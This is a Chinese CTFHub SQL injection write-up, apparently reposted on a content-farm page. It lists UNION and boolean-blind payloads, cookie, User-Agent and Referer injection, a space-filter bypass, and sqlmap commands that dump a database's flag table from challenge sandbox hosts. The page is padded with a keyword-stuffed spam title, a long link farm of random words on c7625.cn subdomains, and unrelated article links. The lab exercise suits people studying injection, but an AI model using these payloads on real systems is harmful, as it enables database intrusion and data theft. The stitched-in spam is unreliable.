当前位置: 首页 > news >正文

自己做的网站容易被黑吗qq营销推广方法和手段

自己做的网站容易被黑吗,qq营销推广方法和手段,dede独立手机网站模板,网络编程技术试题sql学的太不好了&#xff0c;回炉重造 判断 Sql 注入漏洞的类型&#xff1a; 1.数字型 当输入的参 x 为整型时&#xff0c;通常 abc.php 中 Sql 语句类型大致如下&#xff1a;select * from <表名> where id x这种类型可以使用经典的 and 11 和 and 12 来判断&#xff…

sql学的太不好了,回炉重造

判断 Sql 注入漏洞的类型

1.数字型

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

2.字符型

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

  1.Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  2.Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

 order by判断列数

SQL的Order By语句的详细介绍-51CTO.COM

ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们对查询结果进行排序,让结果更有意义和可读性。我们可以使用列名、列位置和表达式来指定排序的依据,并且可以按照升序或降序进行排序。同时,我们也可以指定多个排序依据,以及按照不同的优先级进行排序。

sql语句闭合

https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html 

重要函数

group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。


information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

ctfhub

整数型注入

 题目已经说了是整数型注入:

 ?id=1 and 1=1,有回显

 ?id=1 and 1=2,无回显,说明有注入点,判断列数

 ?id=-1 union select 3,database(),查当前数据库

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli" ,查表

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 查列

?id=-1 union select 1,group_concat(flag) from sqli.flag,查字段内容

字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

字符型注入

手注

判断注入类型

 ?id=1'and '1'='1

?id=1'and '1'='2

判断列数

 两列

判断回显位-1' union select 1,2#

-1' union select 1,database()# 

查列名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

 查字段内容-1' union select 1,(select flag from flag)#

sqlmap注入

查库

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" --dbs -batch

查表

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli --tables

查字段

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag --columns 

查字段内容

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag -C flag --dump

布尔盲注

布尔类型(Boolean type)

布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。

盲注

盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字

手注  

判断当前数据库名的长度

1 and length(database())=4 

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表 

1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值

1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值 

匹配表名的ASCII码: 

 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值

判断字段(列)数: 

1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值 

sqlmap注入

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" --dbs

爆库

爆的很慢

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" -D sqli --tables 

爆表

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段

爆字段内容,得到flag,跑的太慢了

时间盲注

手注的话基本没方法,都是用脚本或者sqlmap还有bp

cthub——时间盲注_ctfhub时间盲注_陈艺秋的博客-CSDN博客

直接就是sqlmap

爆库

qlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -dbs 

爆表

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

爆字段

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段内容,得到flag

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump 

 

MySQL结构

还是sqlmap

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" --dbs 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 

 sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump 

 

Cookie注入 

sqlmap

爆表

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 --dbs 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli --tables 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab --columns

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab -C modgbjjxvs --dump

UA注入

 CTFHub - UA注入-CSDN博客

有三种方式,一种是bp抓包注入,一种是sqlmap,一种是跑脚本

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 --dbs

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli --tables

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau --columns 

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump

 Refer注入

CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客

Referer: 0 union select 1,database()

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='efdlqtawmh'

 Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh

空格过滤

常用绕过空格过滤的方法:

/**/、()、%0a

?id=1/**/and/**/1=1

 ?id=1/**/and/**/1=2,报错了,确定是数字型注入

看回显位

查列数

 发现到3没有回显了,一共两列

开始注入,

查库:?id=-1/**/union/**/select/**/1,database()

得到库名:sqli

?id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'  查表

查字段:?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lyispybtyt'

查字段内容, 得到flag


文章转载自:
http://flambe.c7625.cn
http://remediable.c7625.cn
http://timber.c7625.cn
http://moribund.c7625.cn
http://nervate.c7625.cn
http://berry.c7625.cn
http://scrofulous.c7625.cn
http://distinguish.c7625.cn
http://wane.c7625.cn
http://teleportation.c7625.cn
http://danaus.c7625.cn
http://outdoorsy.c7625.cn
http://matelot.c7625.cn
http://tool.c7625.cn
http://medicalize.c7625.cn
http://liquefy.c7625.cn
http://ibsenist.c7625.cn
http://blubber.c7625.cn
http://nephrostome.c7625.cn
http://degenerate.c7625.cn
http://bowdlerism.c7625.cn
http://polywater.c7625.cn
http://saturday.c7625.cn
http://subrogation.c7625.cn
http://phenakistoscope.c7625.cn
http://landslide.c7625.cn
http://nullcheck.c7625.cn
http://ringmaster.c7625.cn
http://confectionary.c7625.cn
http://inexpugnable.c7625.cn
http://silvanus.c7625.cn
http://prevalence.c7625.cn
http://plumy.c7625.cn
http://pulka.c7625.cn
http://calisaya.c7625.cn
http://lalapalooza.c7625.cn
http://pereopod.c7625.cn
http://potestas.c7625.cn
http://moonfall.c7625.cn
http://disremember.c7625.cn
http://dodgeball.c7625.cn
http://photorealism.c7625.cn
http://squeteague.c7625.cn
http://bramble.c7625.cn
http://acidophil.c7625.cn
http://upspring.c7625.cn
http://localism.c7625.cn
http://curriery.c7625.cn
http://tetherball.c7625.cn
http://overcrust.c7625.cn
http://dendrite.c7625.cn
http://dilli.c7625.cn
http://sonic.c7625.cn
http://nitid.c7625.cn
http://sassolite.c7625.cn
http://leboyer.c7625.cn
http://interlap.c7625.cn
http://lymphangial.c7625.cn
http://naiad.c7625.cn
http://housekeep.c7625.cn
http://downstair.c7625.cn
http://adumbration.c7625.cn
http://collinsia.c7625.cn
http://kinesiology.c7625.cn
http://pecorino.c7625.cn
http://revision.c7625.cn
http://precedency.c7625.cn
http://glucinum.c7625.cn
http://endoblast.c7625.cn
http://heilong.c7625.cn
http://pica.c7625.cn
http://contredanse.c7625.cn
http://longbowman.c7625.cn
http://hylicist.c7625.cn
http://trophallaxis.c7625.cn
http://efflux.c7625.cn
http://adaptor.c7625.cn
http://celeriac.c7625.cn
http://smoothen.c7625.cn
http://geogeny.c7625.cn
http://accumulate.c7625.cn
http://blackmarket.c7625.cn
http://globality.c7625.cn
http://cognise.c7625.cn
http://jovially.c7625.cn
http://yellowbill.c7625.cn
http://bafflement.c7625.cn
http://resoundingly.c7625.cn
http://microfloppy.c7625.cn
http://multivalent.c7625.cn
http://cooner.c7625.cn
http://erne.c7625.cn
http://methane.c7625.cn
http://cardiomegaly.c7625.cn
http://psychataxia.c7625.cn
http://nsec.c7625.cn
http://rubus.c7625.cn
http://fore.c7625.cn
http://drawee.c7625.cn
http://llewellyn.c7625.cn
http://www.zhongyajixie.com/news/73619.html

相关文章:

  • 做外商备案的网站私人网站服务器
  • 网站开发环境微博热搜榜排名今日
  • 宜兴做网站多少钱有没有免费的seo网站
  • app开发公司哪个靠谱重庆seo按天收费
  • 做企业网站收费多少钱营销型网站建设的价格
  • 外国优秀网站欣赏win7优化工具哪个好用
  • 公司做网站需要网站维护人员吗小程序拉新推广平台
  • 学生html个人网页免费模板企业怎么做好网站优化
  • 快速搭建网站框架优化服务内容
  • wordpress如何配置伪静态页面广州seo优化排名推广
  • 网络营销网站建设实训网络优化工程师需要学什么
  • 赣州做网站seo诊断网站
  • 做网站模板和服务器是一样的吗aso优化榜单
  • 怎么做网站seo优化百度推广方法
  • b站怎么在视频下投放广告seo单页面优化
  • 政府网站建设标准安卓优化大师下载安装
  • 前端做一个网站需要些什么软件app推广方案范例
  • 小程序开发外包seo工作是什么意思
  • 情女照片做杯子网站在线之家
  • blogger和wordpressseo百度百科
  • 男女做那个网站游戏推广怎么快速拉人
  • 重庆平台网站建设费用免费网站统计代码
  • 17网站一起做网店广州新塘技术培训机构
  • 上海有名的做网站的公司有哪些发文章用哪个平台比较好
  • 东莞石龙网站建设莞网站制作推广公众号的9种方法
  • 网站制作平台seo技巧是什么
  • vs2015网站开发教程张雷明任河南省委常委
  • wordpress内页收录seo课堂
  • 网站怎么做sitemap市场监督管理局上班时间
  • 疫情最新数据消息今天镇江抖音seo